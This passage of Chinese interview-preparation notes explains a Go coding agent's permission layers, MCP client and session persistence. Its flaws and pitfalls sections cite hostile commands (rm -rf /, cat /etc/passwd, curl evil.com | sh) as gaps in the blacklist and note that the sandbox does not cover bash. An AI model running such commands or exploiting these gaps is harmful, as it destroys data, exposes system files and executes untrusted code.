// - "!inner" → 反向匹配(对内层 Matcher 取反,支持 !=value、!~regex、!glob)
// - "value" → glob 通配(缺省类型,向后兼容)四种 Matcher 实现(matcher.go):matcherExact / matcherGlob / matcherRegex / matcherNot(可嵌套)。编译入口:
func CompileMatcher(pattern string, isCommand bool) (Matcher, error) {
switch pattern[0] {
case '=': return &matcherExact{value: pattern[1:]}, nil
case '~': re, err := regexp.Compile(pattern[1:]); ...
case '!': inner, err := CompileMatcher(pattern[1:], isCommand); return &matcherNot{inner}, nil
default: return &matcherGlob{pattern: pattern, isCommand: isCommand}, nil
}
}glob 有两套语义(这是容易忽略的细节):
- 命令串(
isCommand=true):*匹配任意字符序列含空格,**等价*; - 文件路径(
isCommand=false):按/分段,*只在段内匹配,**跨任意层级。
所以 Bash(git *) 能匹配 git status,而 Write(src/**) 能匹配 src/a/b/c.go。
规则里的工具名用「友好名」:内部名 → 友好名映射
bash → Bash, read_file → Read, write_file → Write, edit_file → Edit, glob → Glob, grep → Grep为什么要有这一层映射? 因为内部工具名跟模型看到的接口是绑定的一一对应更安全。用户的规则应该写在稳定的语义名上,而不是可能变化的内部实现名上。
解析失败的行为:toRuleSet 里非法规则会 fmt.Fprintf(os.Stderr, "rule %q parse failed: %s\n", ...) —— 有声跳过,不阻断启动。注释写了这是刻意的改动:「F4:原本静默跳过,现在有声跳过」。理由:规则写错了必须让人知道,否则用户会以为自己的 deny 生效了,其实没有——这是安全相关的静默失败。
第 ④ 层:模式兜底(engine.go:modeFallback)
// modeFallback F5 模式兜底矩阵:只产 Allow/Ask,绝不产 Deny。
func modeFallback(mode Mode, cat Category) (Decision, string) {
// 只读 / bypass 全 Allow
if cat == CategoryRead || mode == ModeBypass {
return Allow, ""
}
// acceptEdits:文件写 Allow、命令执行 Ask
if mode == ModeAcceptEdits && cat == CategoryWrite {
return Allow, ""
}
// 其余(default/plan 的 Write/Exec、acceptEdits 的 Exec)→ Ask
reason := fmt.Sprintf("%s 模式下 %s 类操作需确认", mode.String(), catName(cat))
return Ask, reason
}完整矩阵:
| 模式 | 只读 | 文件写 | 命令执行 |
|---|---|---|---|
| Default | Allow | Ask | Ask |
| AcceptEdits | Allow | Allow | Ask |
| Plan | Allow | Ask(且工具不可见) | Ask(且工具不可见) |
| Bypass | Allow | Allow | Allow |
「绝不产 Deny」这条不变量的意义:如果你把 Deny 从模式兜底里发出来,那用户就没机会了——弹窗都不弹,直接拒绝。而模式是用户自己选的档位,他只是想让 Agent 更自由或更保守,不是想拒绝某个操作。所以「拒绝」的决策权只留给黑名单(不可协商)和规则(用户显式写的)。
「Plan 模式 Ask」看起来冗余——因为 Plan 模式下 write_file / bash 根本不在工具列表里(ReadOnlyDefinitions() 只导出只读工具),模型看不到它们。代码注释解释了这是防御兜底:
ModePlan // 仅只读工具可见(沿用 ch04);矩阵同 default 作防御兜底纵深防御的思想:不要假设「模型看不到就不会调」。如果哪天有个 Bug 让 defs 没被正确过滤,模式兜底还能拦住。
第 ⑤ 层:人在回路(agent.go:981-1000 + tui/tui.go)
func (a *Agent) requestApproval(ctx context.Context, call llm.ToolCall, reason string, ch chan<- Event) (permission.Outcome, bool) {
respond := make(chan permission.Outcome, 1) // ← 缓冲 = 1
req := &ApprovalRequest{
Name: call.Name,
Args: argPreview(call.Input),
Reason: reason,
Respond: respond,
}
if !emit(ctx, ch, Event{Approval: req}) { return 0, false }
select {
case o := <-respond: return o, true
case <-ctx.Done(): return 0, false
}
}Respond 为什么缓冲 = 1?(代码注释原文:「缓冲=1:TUI 回传用户选择,agent 单次接收」)
因为 TUI 侧的 commitApproval 是在 UI 线程里同步发的:
func (m *Model) commitApproval(outcome permission.Outcome) (tea.Model, tea.Cmd) {
if m.pending == nil { return m, nil }
m.pending.Respond <- outcome // ← 同步阻塞发
m.pending = nil
m.state = stateStreaming
return m, waitForEvent(m.events)
}如果没有缓冲,这次发送会阻塞 UI 线程直到 agent 读走。虽然 agent 此时正好阻塞在 select 上、理论上立刻能读到,但依赖「另一个 goroutine 恰好在等」是不稳的。缓冲 1 让发送变成非阻塞,UI 永远不会因为这个卡住。同时缓冲 1 而不是更大,保证语义上还是「一次请求一次应答」,不会出现多次决策堆积。
TUI 侧的完整链路(5 个节点):
Agent 判定为
Ask→ 构造ApprovalRequest→emit(Event{Approval: req})→ 阻塞在selectTUI
handleAgentEvent命中ev.Approval != nil→ 存m.pending、approveCursor = 0、state = stateApproving→ 返回nilcmd,故意不再读事件流gocase ev.Approval != nil: m.pending = ev.Approval m.approveCursor = 0 m.state = stateApproving return m, nil // 不 waitForEvent,agent 正阻塞等回传为什么不再读事件? 因为 agent 已经阻塞了,后面根本没有新事件。如果继续读,会读到 channel 关闭或空等,把状态机搞乱。
渲染弹窗(
view.go:239-285):工具名 + 参数 + 原因 + 三选项菜单按键(
tui.go:502-527):↑↓/jk移动光标、enter/space确认、1/2/3快捷选择回传(
commitApproval)→ 切回stateStreaming→ 恢复waitForEvent
三选一的落地语义:
| 选项 | Outcome | Agent 侧行为 |
|---|---|---|
| 允许本次 | OutcomeAllowOnce | 执行,不留规则 |
| 永久允许 | OutcomeAllowForever | PersistLocalAllow(call) 写盘,然后执行 |
| 拒绝本次 | OutcomeDenyOnce | 回灌 "用户拒绝执行:" + reason,IsError = true |
「永久允许」写盘的精妙之处(persist.go):
// ruleFor 根据一次工具调用生成精确规则(不含通配)。
// 命令串中的 glob 元字符(*, ?, [, ])需转义,防止规则被意外泛化。比如用户对 bash: go test ./... 选了永久允许,写出来的是:
permissions:
allow:
- "Bash(go test ./...)" # ← 注意这里不转义,因为 . 不是 glob 元字符但如果命令是 rm -rf *,* 会被转义成 \*,写成 Bash(rm -rf \*),只匹配字面量 rm -rf *,不会泛化成「允许所有 rm -rf」。
这个设计非常重要:如果不转义,用户点一次「永久允许 rm -rf build/*」,就会被写成「永久允许所有 rm -rf」——这是从「一次授权」变成「无限授权」的安全事故。
去重是幂等的:
// 去重:检查是否已存在
for _, a := range s.Permissions.Allow {
if strings.TrimSpace(a) == yamlStr { return nil } // 已存在,幂等
}模式切换(TUI 实时切换,无需重启)
// Shift+Tab:循环切换权限模式(仅 idle 态生效)
if msg.String() == "shift+tab" && m.state == stateIdle {
m.mode = nextMode(m.mode)
notice := fmt.Sprintf("已切换到 %s 模式", modeLabel(m.mode))
return m, tea.Println(renderNoticeBlock(notice))
}func nextMode(m permission.Mode) permission.Mode { return (m + 1) % 4 } // default→acceptEdits→plan→bypass→default「无需重启」是怎么实现的:m.mode 只是 Model 里的一个字段,每轮 Run(turnCtx, conv, m.mode) 时作为参数传进去。权限引擎本身不持有当前模式——它是无状态的判定函数。所以切换模式就是改一个字段,下一轮立刻生效。
「仅 idle 生效」是刻意的:
因此运行中的一轮不受切换影响(切换被
m.state == stateIdle挡住,streaming/approving 时 Shift+Tab 不做任何事)。
为什么? 因为一轮中间改模式会导致同一轮内不同工具用不同权限判定,语义混乱。而且更危险的是:用户可能在弹窗的瞬间按 Shift+Tab 切到 Bypass,试图绕过——如果允许,这就是一个权限提升漏洞。
④ 设计权衡
权衡 1:为什么顺序不可交换?
这是整个五层设计最核心的问题,面试官一定会问。逐层说明:
- 黑名单必须在沙箱之前:黑名单的输入是命令串,沙箱的输入是路径。
rm -rf /里的/是一个字符串,沙箱根本不认为它是「文件路径参数」(bash的参数名是command不是path)。所以顺序不影响功能,但黑名单的逻辑优先级更高——它是「不可协商的底线」。 - 黑名单必须在规则引擎之前:否则用户写一条
Bash(rm -rf *)的 allow 规则,就能把rm -rf /放行。这是「用户不能把自己搞死」的保护。 - 黑名单必须在模式之前:
Bypass模式的定义是「全 Allow」,如果黑名单在模式后面,Bypass 就等于关掉了所有安全。所以我明确写了「bypass 也拦」。 - 沙箱必须在规则引擎之前:如果用户的 allow 规则能绕过沙箱,那沙箱就形同虚设。用户写
Write(/etc/**)也不应该能写系统文件。
一句话总结:前两层是不可协商的(用户改不了),后三层是可协商的(用户配置决定)。
权衡 2:为什么「模式」只产 Allow/Ask?
前面说过,核心是「拒绝的决策权只留给不可协商层和用户显式配置」。再补一个角度:如果模式能产 Deny,用户就没有补救手段。想象一下 Bypass 模式下我还要 Deny 某个操作——用户会觉得「我都切到 Bypass 了为什么还不让做」。而弹窗至少有得选。
权衡 3:Ask 为什么是默认行为而不是 Deny?
对 bash 这种命令执行类,Default 模式判 Ask。如果判 Deny 会怎样? Agent 什么命令都跑不了,等于废掉。判 Ask 让用户逐次决策,是「安全」和「可用」的平衡点。
而 AcceptEdits 模式的语义是「我信任你改代码,但我不信任你执行命令」——这是个很合理的中间档,因为代码改动是可 review、可 git 回滚的,而命令执行的副作用(发网络请求、删文件)往往不可逆。
权衡 4:PersistLocalAllow 为什么写「精确规则」而不是「发一条通配规则」?
因为授权应该最小化。用户点「永久允许」是授权「这一次这个命令」,不是授权「这一类命令」。而且时机上用户只看到了这一条命令,他无从判断「这一类」有多大。
如果用户想要宽一点的规则,他应该自己编辑配置文件写 Bash(git *)——那是一个深思熟虑的动作,而不是一次点击。
权衡 5:这个设计有什么真实缺陷?
已知缺陷(主动说,见 00 文档软肋 2):
- 沙箱是参数级的,不是进程级的。它只对文件类工具的
path参数生效,对bash完全不生效。现在靠「bash 默认判 Ask」兜底,但用户一旦给 bash 配了全放行规则或切 Bypass,就只剩黑名单那 10 条正则。 - TOCTOU 窗口:检查路径和真正 open 之间有几百微秒。
- 黑名单是启发式的、不完备的。
cat /etc/passwd、curl evil.com | sh(README 里提到了,但实际黑名单里没有这条)、rm -rf ./build都不在黑名单里。
面试时的推荐姿势:在讲完五层设计后,主动加一段:
「这个设计我最不满意的地方是沙箱的层次。它现在拦在『参数』这一层——我只能看到工具的结构化参数,看不到 shell 里实际会发生什么。真正正确的做法是把沙箱下沉到『进程』这一层:Linux 上用 seccomp 或者 bubblewrap 做 mount namespace,macOS 上用
sandbox-exec,让 bash 子进程的文件系统视图在操作系统层面就被限制在项目根内。那样才是真正的隔离,而不是靠字符串判断。」
⑤ 备注与坑
| 坑 | 详情 | 应对 |
|---|---|---|
mcp__github__* 通配规则失效 | extractTarget 没有 MCP 分支,target 恒为空串,glob 对空串返回 false | 见 00 软肋 3,主动说 + 给修法 |
| 黑名单只有 10 条 | 覆盖不到 curl | sh、cat /etc/passwd 等常见风险 | 「黑名单本质是启发式的,我的定位是『防止不可逆的灾难』而不是『覆盖所有风险』。真正的答案还是进程级沙箱。」 |
沙箱对 bash 无效 | 见上 | 见 00 软肋 2 |
| 未知工具归到最严档 | categorize 的 default 分支返回 CategoryExec(N7 最严) | 「这是刻意的保守设计:我不认识它,就当它能干坏事。副作用是 MCP 工具在 Default 模式下每次都要弹窗——这对用户是个体验负担,需要用户写 allow 规则来放行。」 |
| 规则匹配目标对 MCP 工具恒为空 | 同第一条 | — |
| 无单测的部分 | permission 有测试(matcher_test.go 171 行),这块是项目中测试最扎实的模块之一 | 可以放心说「权限模块我有单测」 |
技术点 4:MCP 协议零配置接入
① 简历原文
MCP 协议零配置接入: stdio + HTTP 双传输支持,配置驱动自动发现,命名空间隔离(mcp<server><tool>),单服务失败隔离无感适配
② 30 秒口述
「MCP 我实现了一个客户端,支持两种传输:stdio ——把 MCP server 作为子进程启动、走标准输入输出;和 Streamable HTTP——连远程端点。 『配置驱动』的意思是:用户在 YAML 里声明 server 列表,启动时我并发连上所有 server、拉取它们的工具清单,然后把每个工具适配成我自己的
Tool接口注册进统一的注册中心。所以对 Agent 循环来说,MCP 工具和内置工具完全一样——走同一个权限链路、同一个并发模型、同一个执行器,上层零感知。 三个我觉得值得讲的点:命名空间用mcp__<server>__<工具名>双下划线分隔,避免多个 server 之间、以及和内置工具之间重名;失败隔离——每个 server 独立 30 秒超时,连不上就 warn 一下跳过,不阻塞启动、不影响其他 server;只读判定严格只信远端声明的annotations.readOnlyHint,它说只读我才敢并发。」
③ 实现要点
配置加载(internal/mcp/config.go)
两层配置 + 完整覆盖:
// mergeServers 两层合并:项目级同名 server 完整覆盖用户级。
func mergeServers(user, project map[string]rawServer) map[string]rawServer {
merged := make(map[string]rawServer, len(user)+len(project))
for k, v := range user { merged[k] = v }
for k, v := range project { merged[k] = v } // 完整覆盖
return merged
}| 层级 | 路径 |
|---|---|
| 用户级 | ~/.mewcode/config.yaml |
| 项目级(覆盖) | <root>/.mewcode.yaml |
注意是「完整覆盖」不是「字段级合并」:项目级同名 server 会整个替换用户级的定义,不会把 env 和 headers 合并起来。这是刻意的简单语义——避免出现「我明明覆盖了但某个字段还是旧的」这种难以排查的行为。
${VAR} 环境变量展开:
var varPattern = regexp.MustCompile(`\$\{([A-Za-z_][A-Za-z0-9_]*)\}`)
func expandVars(s string) (string, []string) {
var undefined []string
out := varPattern.ReplaceAllStringFunc(s, func(match string) string {
varName := match[2 : len(match)-1]
val, ok := os.LookupEnv(varName)
if !ok { undefined = append(undefined, varName); return "" }
return val
})
return out, undefined
}为什么这件事重要:README 里的例子是
env:
GITHUB_TOKEN: "${GITHUB_TOKEN}" # 凭据走环境变量,不落盘配置文件是要提交到 git 的(README 明说「可提交 git」)。如果把 token 明文写进去,就是凭据泄露。用 ${VAR} 之后,配置文件里只有变量名,真实值来自运行环境。
未定义变量的处理:展开为空串 + stderr 告警(collectUndefined 去重后一次性打出)。不阻断——因为一个 server 的变量没设不应该让整个配置加载失败。
校验(validateServer):type 必须是 stdio 或 http;stdio 必须有 command;http 必须有 url。不合法就 warn + 跳过该 server(不是整个配置失败)。
函数签名的一个细节:
// - 永不返回 error(签名留 error 仅为未来扩展,当前实现恒为 nil)
func LoadConfig(root string) (Config, error) {为什么留一个恒为 nil 的 error? 因为调用方 main.go 写的是 mcpCfg, _ := mcp.LoadConfig(root)——忽略错误。保留签名是为了将来真的需要报错时不用改所有调用点。这是个务实的选择,但也可以说是「接口设计不诚实」,被问到可以这么答。
连接管理(internal/mcp/manager.go)
var (
connectTimeout = 30 * time.Second // 包级 var,便于单测改短
closeDeadline = 5 * time.Second
)
func NewManager(ctx context.Context, cfg Config, version string) *Manager {
mgr := &Manager{}
var wg sync.WaitGroup
for name, srv := range cfg.Servers {
wg.Add(1)
go func(name string, srv ServerConfig) {
defer wg.Done()
ctx2, cancel := context.WithTimeout(ctx, connectTimeout)
defer cancel()
var transport sdkmcp.Transport
switch srv.Type {
case "stdio":
cmd := exec.CommandContext(ctx2, srv.Command, srv.Args...)
cmd.Env = mergeOSEnv(srv.Env)
cmd.Stderr = os.Stderr
transport = &sdkmcp.CommandTransport{Command: cmd}
case "http":
hc := &http.Client{Transport: &headerRoundTripper{base: http.DefaultTransport, headers: srv.Headers}}
transport = &sdkmcp.StreamableClientTransport{Endpoint: srv.URL, HTTPClient: hc, DisableStandaloneSSE: true}
}
client := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "mewcode", Version: version}, nil)
cs, err := client.Connect(ctx2, transport, nil)
if err != nil {
fmt.Fprintf(os.Stderr, "[mcp] warn: connect server %s failed: %v\n", name, err)
return // ← 只跳过自己
}
lst, err := cs.ListTools(ctx2, nil)
if err != nil {
fmt.Fprintf(os.Stderr, "[mcp] warn: list tools for server %s failed: %v\n", name, err)
_ = cs.Close() // ← 记得释放连接
return
}
var adapted []tool.Tool
for _, t := range lst.Tools {
if mt, ok := adaptTool(name, t, cs); ok { adapted = append(adapted, mt) }
}
mgr.mu.Lock()
mgr.sessions = append(mgr.sessions, &session{name: name, cs: cs})
mgr.tools = append(mgr.tools, adapted...)
mgr.mu.Unlock()
}(name, srv)
}
wg.Wait()
sort.Slice(mgr.tools, func(i, j int) bool { return mgr.tools[i].Name() < mgr.tools[j].Name() })
return mgr
}三个要点:
- 并发连接。
wg+ 每个 server 一个 goroutine。N 个 server 的总启动延迟是 max(单个延迟) 而不是 sum。如果串行,10 个 server 各花 2 秒就是 20 秒启动。 - 单 server 失败隔离:连不上只
return(跳过自己),wg.Wait()仍然会正常返回。 connectTimeout是var不是const,注释说明「便于单测改为短值」。测试里确实用它来跑快速的失败用例。
stdio 的环境变量合并(mergeOSEnv):
// mergeOSEnv 合并宿主环境变量与额外 env map(后者覆盖同名键)。注意这里跟 bash 工具完全不同:bash 工具清空环境变量只留 4 个(防止密钥泄漏给模型生成的命令),而 MCP server 是继承全部宿主环境变量 + 覆盖配置里的——因为 MCP server 是用户自己配置的、可信的进程,它需要完整环境(比如 PATH、语言运行时的环境变量)。
HTTP 的自定义 header(headerRoundTripper):实现 http.RoundTripper 接口,每次请求前克隆 request 并注入 header。用 RoundTripper 而不是在每次调用处手动加 header,是因为 MCP SDK 内部会自己发请求,你没法在调用点插手。
func (h *headerRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
req = req.Clone(req.Context()) // ← 必须克隆,不能改原对象
for k, v := range h.headers { req.Header.Set(k, v) }
return h.base.RoundTrip(req)
}DisableStandaloneSSE: true:Streamable HTTP 传输默认会开一个独立的 SSE 长连接做服务端推送。置 true 表示只用到请求-响应,不要额外长连接——这是为了减少连接数,因为项目里没有用到服务端主动推送的能力。
工具适配(internal/mcp/tool.go)
命名空间:
fullName := "mcp__" + serverName + "__" + t.Name双下划线分隔。为什么不用单下划线? 因为 server 名和 tool 名本身都可能含下划线。比如 server my_server + tool get_user,用单下划线会变成 mymy_serverget_user——无法反解。双下划线虽然理论上也可能冲突(tool 名里含 __),但概率极低,且我这里加了字符白名单:
var validToolName = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)注意这个白名单只允许 [A-Za-z0-9_-],不含空白和特殊字符(这些是很多模型 API 对函数名的硬性要求)。校验的是 fullName(含前缀),所以 server 名或 tool 名里含非法字符会导致整个工具被跳过(warn + return nil, false)。
只读判定(严格保守):
// readOnly:严格只信 annotations.readOnlyHint==true
readOnly := t.Annotations != nil && t.Annotations.ReadOnlyHint为什么「严格只信」? 三个理由:
readOnly决定这个工具能不能并发执行——判错的后果是数据竞争;- 它还影响权限判定(只读工具在模式兜底里恒
Allow)——判错的后果是该弹窗的没弹窗; - MCP 是外部进程/远端服务,它的声明不可验证。
所以默认是不可信:没声明 = 不是只读 = 串行 + 走完整权限流程(默认 Ask)。
这个保守选择的体验代价:接入一个 GitHub MCP server,它的工具如果没声明 readOnlyHint,那么在 Default 模式下每个工具调用都要弹窗确认。用户需要写 allow 规则来放行。这是「安全换体验」的一个真实取舍。
执行与结果聚合:
func (t *mcpTool) Execute(ctx context.Context, args json.RawMessage) tool.Result {
ctx2, cancel := context.WithTimeout(ctx, 30*time.Second)
defer cancel()
var argMap map[string]any
if len(args) > 0 {
if err := json.Unmarshal(args, &argMap); err != nil {
return tool.Result{Content: fmt.Sprintf("参数解析失败: %v", err), IsError: true}
}
}
res, err := t.cs.CallTool(ctx2, &sdkmcp.CallToolParams{Name: t.remoteName, Arguments: argMap})
if err != nil {
return tool.Result{Content: fmt.Sprintf("MCP 工具调用失败: %v", err), IsError: true}
}
// 遍历 content,拼接 text 块;非 text 块丢弃(首次告警)
var sb strings.Builder
nonTextCount := 0
for _, c := range res.Content {
if tc, ok := c.(*sdkmcp.TextContent); ok {
if sb.Len() > 0 { sb.WriteString("\n") }
sb.WriteString(tc.Text)
} else {
nonTextCount++
if _, warned := nonTextWarnOnce.LoadOrStore(t.fullName, true); !warned {
fmt.Fprintf(os.Stderr, "[mcp] warn: tool %s returned non-text content blocks (dropped)\n", t.fullName)
}
}
}
return tool.Result{Content: sb.String(), IsError: res.IsError}
}MCP 的 content 是数组,元素可以是 text / image / resource 等多种类型。 我只处理 TextContent,其他丢弃但只告警一次(用 sync.Map.LoadOrStore 保证每个工具名只告警一次,避免刷屏)。
为什么丢弃而不是报错? 因为报错会让整个工具调用失败,而实际上文本部分可能已经足够有用。但也不能静默丢弃——用户会困惑「为什么图片没显示」。所以「丢弃 + 告警一次」是折中。
IsError 直接透传远端的 res.IsError——MCP 协议里 result 有两个维度:协议层错误(err != nil)和业务层错误(res.IsError)。两者都映射到我的 Result.IsError,但内容不同。
关闭(Manager.Close):
func (m *Manager) Close() {
// 并发关闭所有会话
var wg sync.WaitGroup
for _, s := range sessions { wg.Add(1); go func(cs){ defer wg.Done(); _ = cs.Close() }(s.cs) }
done := make(chan struct{})
go func() { wg.Wait(); close(done) }()
select {
case <-done:
case <-time.After(closeDeadline): // ← 5s 兜底
}
}为什么要 5 秒兜底? 因为 stdio 传输的 server 是子进程。如果某个 server 卡死不响应关闭请求,cs.Close() 会永久阻塞 → Close() 卡住 → 主程序退不出来。兜底超时保证进程一定能退出,代价是可能留下孤儿进程。
一个「不能复制切片」的细节:
func (m *Manager) Tools() []tool.Tool {
m.mu.Lock()
defer m.mu.Unlock()
cp := make([]tool.Tool, len(m.tools))
copy(cp, m.tools) // ← 返回拷贝防外部修改
return cp
}无感适配:MCP 工具和内置工具走同一条路
因为 mcpTool 实现了同一个 tool.Tool 接口:
type Tool interface {
Name() string
Description() string
Parameters() map[string]any
ReadOnly() bool
Execute(ctx context.Context, args json.RawMessage) Result
}在主程序的注册流程里(cmd/mewcode/main.go):
reg := tool.NewDefaultRegistry() // 6 个内置工具
mcpCfg, _ := mcp.LoadConfig(root)
mgr := mcp.NewManager(context.Background(), mcpCfg, version)
defer mgr.Close()
for _, t := range mgr.Tools() {
reg.Register(t) // ← MCP 工具进同一个注册中心
}注册之后完全平等:同一个 Registry.Definitions() 导出给模型、同一个 registry.Execute 执行、同一个 permission.Engine.Check 判定、同一个 executeBatched 并发调度。
④ 设计权衡
权衡 1:为什么用官方 SDK 而不是自己实现 MCP 协议?
MCP 协议本身(JSON-RPC 2.0 + 初始化握手 + 传输层)细节不少:stdio 要处理 framing,Streamable HTTP 要处理 session id、SSE 流、重连。自己实现的价值几乎为零,风险却很高。这跟我「入口层用库、核心层手写」的分层原则一致。
权衡 2:为什么命名空间用前缀而不是「加一个 server 字段」?
因为工具名是模型的唯一索引。模型看到的工具列表就是一组名字,它调工具时也只能报一个名字。如果不用前缀,两个 server 都提供 search 工具时,模型无法区分。前缀方案把「哪个 server」编码进名字,不需要给协议加新字段——也就不会破坏任何一家 API 的兼容性。
权衡 3:为什么连接是启动时一次性做完,而不是懒加载?
启动时做完的收益:工具清单可以一次性全部告诉模型,模型从第一轮就能看到所有可用工具。 代价:启动会等最慢的那个 server(受 30s 上限约束)。如果用户配了 5 个 server 且其中一个网络不通,启动要等 30 秒。
改进方向:可以做成「先渲染 UI,server 在后台连,连上后动态更新工具列表」。但那样需要处理「工具列表在轮次中间变化」的复杂情况——比如某一轮模型看到了 mcp__github__x,下一轮这个工具消失了,历史里就出现了对不存在工具的调用。当前选择保持一致性和简单性。
权衡 4:LoadConfig 永不返回 error,合理吗?
不完美,但务实。理由:MCP 是可选能力——用户没配 MCP 是很正常的状态,这时候报错退出是错的。而配置写错了(比如 type 拼错),正确的反应是「跳过这一条并告诉用户」,而不是「整个程序起不来」。
代价:调用方拿到 (cfg, nil),无法从返回值区分「配置完美」和「有一半 server 被跳过了」。信息只能从 stderr 看。更好的设计是返回一个 []Warning,让调用方能决定怎么呈现。
⑤ 备注与坑
| 坑 | 详情 |
|---|---|
mcp__server__* 权限通配失效 | 见 00 软肋 3 |
| 无测试——不对,有测试 | mcp 包有测试:config_test.go(472 行)、manager_test.go(190 行)、tool_test.go(369 行)。这是项目里测试最扎实的模块之一,可以放心讲。 |
| MCP 工具默认每次弹窗 | 因为 categorize 对未知工具归 CategoryExec。答法:「这是有意的保守设计。用户的解决方案是写 allow 规则放行,比如 mcp__github__search_repos。」 |
LoadConfig 恒返回 nil error | 见权衡 4 |
| 非 text content 被丢弃 | 「MCP 支持图片和资源块,我只处理文本。要支持图片得改 llm.Message 支持多模态 content——那是个跨协议层的改动(Anthropic 和 OpenAI 的图片格式也不同),我判断超出当前范围。」 |
技术点 5:会话持久化与恢复 + 上下文压缩
① 简历原文
会话持久化与恢复: JSONL 追加写实时 fsync;/resume 浏览历史会话,Token 超限自动压缩;30 天过期会话后台清理
② 30 秒口述
「会话我用了 JSONL 追加写,每追加一条就 fsync 一次。 用 JSONL 而不是数据库,主要是三个考虑:崩溃安全——追加写最多丢最后一行,不会破坏已有数据;可观测——
tail -f就能看实时对话,调试很方便;无依赖——不用引入 sqlite。 恢复的时候我从最后一个压缩标记之后开始读,跳过坏行,并且截断孤立的工具调用——就是那种「assistant 请求了工具但结果还没写进去」的残缺结尾,不处理的话下一轮请求会直接 400。 另外启动时会开一个后台 goroutine 清理 30 天以上的旧会话。至于上下文,我做了两层压缩:第一层是纯本地的,把超大的工具结果落盘、历史里只留预览;第二层才是 LLM 摘要,按九个固定小节产出摘要,再拼上三段恢复信息。」
③ 实现要点
存储层(internal/session/)
目录结构:
<root>/.mewcode/sessions/<YYYYMMDD-HHMMSS-xxxx>/
├── conversation.jsonl
└── tool-results/
└── <tool_use_id> ← 第一层压缩落盘的工具结果会话 ID 格式(compact/state.go):
// newSessionID 生成会话唯一标识。
// 格式:YYYYMMDD-HHMMSS-xxxx,前半段取本地时间,后半段 4 字符随机十六进制防碰撞。
func newSessionID() string {
timePart := time.Now().Format("20060102-150405")
b := make([]byte, 2) // 2 字节 = 4 字符十六进制
if _, err := rand.Read(b); err == nil { hexStr = hex.EncodeToString(b) }
else { /* crypto/rand 不可用时降级 */ }
return fmt.Sprintf("%s-%s", timePart, hexStr)
}为什么把时间编进 ID? 因为清理和排序都要用到时间——直接从目录名解析,不用 stat 每个目录:
// ParseSessionTime 从新格式 session ID 中解析出时间戳。
// 新格式前 15 位为 "YYYYMMDD-HHMMSS"。
// 旧格式(如 "<unix_ts>-<hex>")无法解析,返回 error。
func ParseSessionTime(sessionID string) (time.Time, error)这解释了为什么清理函数要检查 ParseSessionTime 是否报错:「只处理新格式 ID 的目录,旧格式跳过」——这是向后兼容设计,老版本的会话目录不会被误删。
JSONL 写入器(writer.go):
type Entry struct {
Type string `json:"type,omitempty"` // "compact" 或空
Role string `json:"role,omitempty"`
Content string `json:"content,omitempty"`
ToolCalls []llm.ToolCall `json:"tool_calls,omitempty"`
ToolResults []llm.ToolResult `json:"tool_results,omitempty"`
Timestamp int64 `json:"ts"`
Model string `json:"model,omitempty"` // 仅首条消息
}
func (w *Writer) Append(msg llm.Message, model string, isFirst bool) error {
// ...构造 entry...
w.mu.Lock()
defer w.mu.Unlock()
if err := w.enc.Encode(entry); err != nil {
return fmt.Errorf("JSONL 编码失败: %w", err)
}
return w.file.Sync() // ← fsync
}file.Sync() 就是 fsync(2)。简历里写「实时 fsync」是准确的。
每次写都 fsync 的代价是什么? 每次调用是一个系统调用 + 一次磁盘刷盘,典型耗时 1–10ms(机械盘更慢)。对一个人类交互速率的 Agent 来说完全可以接受(一轮对话几秒钟,多几毫秒无感)。
收益是什么? 终端工具最怕的就是「终端崩了/被 kill 了,对话丢了」。fsync 之后,进程被 kill -9 也只会丢正在写的那一行。
实际是同步写还是异步写? 看 Writer.OnAppend:
func (w *Writer) OnAppend(model string) func(llm.Message) {
isFirst := true
return func(msg llm.Message) {
_ = w.Append(msg, model, isFirst) // ← 同步调用,但忽略错误
isFirst = false
}
}注意这里是同步的——回调里直接写盘。而 Conversation 的调用约定是「回调在锁外调用」:
func (c *Conversation) AddAssistant(text string) {
c.mu.Lock()
c.messages = append(c.messages, llm.Message{Role: "assistant", Content: text})
msg := c.messages[len(c.messages)-1]
c.mu.Unlock() // ← 先解锁
if c.onAppend != nil { c.onAppend(msg) } // ← 再回调(避免持锁做 IO)
}这是个重要的并发设计:如果持锁做磁盘 IO,那么任何读 Messages() 的 goroutine 都会卡在磁盘上。解锁后回调,把 IO 的阻塞限制在当前调用方。
错误被忽略了:_ = w.Append(...)。这是有意的——对话能继续比日志写成功重要。但如果磁盘满了,用户不会收到任何提示。这是个可以承认的弱点。
压缩标记:
func (w *Writer) WriteCompactMarker() error {
entry := struct {
Type string `json:"type"`
Timestamp int64 `json:"ts"`
}{Type: "compact", Timestamp: time.Now().Unix()}
// ...Encode + Sync
}恢复时从最后一个标记之后读(load.go):
// LoadSession 从 conversation.jsonl 恢复消息列表。
// 从最后一个 compact 标记之后加载,跳过坏行,截断孤立工具调用。
func LoadSession(sessionDir string) ([]llm.Message, error) {
...
var entries []Entry
dec := json.NewDecoder(f)
for dec.More() {
var entry Entry
if err := dec.Decode(&entry); err != nil {
continue // ← 跳过坏行,继续
}
if entry.Type == "compact" {
entries = nil // ← 清空,从 compact 之后重新开始
continue
}
entries = append(entries, entry)
}
msgs := entriesToMessages(entries)
msgs = TruncateOrphanedToolCalls(msgs) // ← 截断孤立工具调用
return msgs, nil
}为什么 JSONL 天然支持「从标记之后读」? 因为追加写的特性——压缩之后的对话就是直接追加在文件末尾的,不需要重写文件。老内容留在文件里(成为了「压缩前的历史」),但恢复时被忽略。这是追加写模型带来的免费能力:如果用单文件覆盖写(比如一个 JSON 数组),每次压缩都要重写整个文件,而且重写过程中崩溃就全丢了。
坏行跳过为什么是 continue 而不是报错? 因为崩溃时最后一行大概率是坏的(写到一半被 kill)。如果报错,用户就永远恢复不了这个会话。跳过一行代价极小(少一条消息),收益是「总能恢复」。
孤立工具调用截断:
// TruncateOrphanedToolCalls 如果最后一条消息是带 tool_calls 的 assistant,
// 但后面没有对应的 tool 消息,则截断该条。
func TruncateOrphanedToolCalls(msgs []llm.Message) []llm.Message {
if len(msgs) == 0 { return msgs }
last := msgs[len(msgs)-1]
if last.Role == llm.RoleAssistant && len(last.ToolCalls) > 0 {
return msgs[:len(msgs)-1]
}
return msgs
}为什么会出现这种情况? 正常的循环里,AddAssistantWithToolCalls 之后必然跟着 AddToolResults。但如果进程在两者之间崩溃,JSONL 里就只剩前一半。带着这个残缺历史发请求,Anthropic 会报「tool_use 没有对应的 tool_result」。
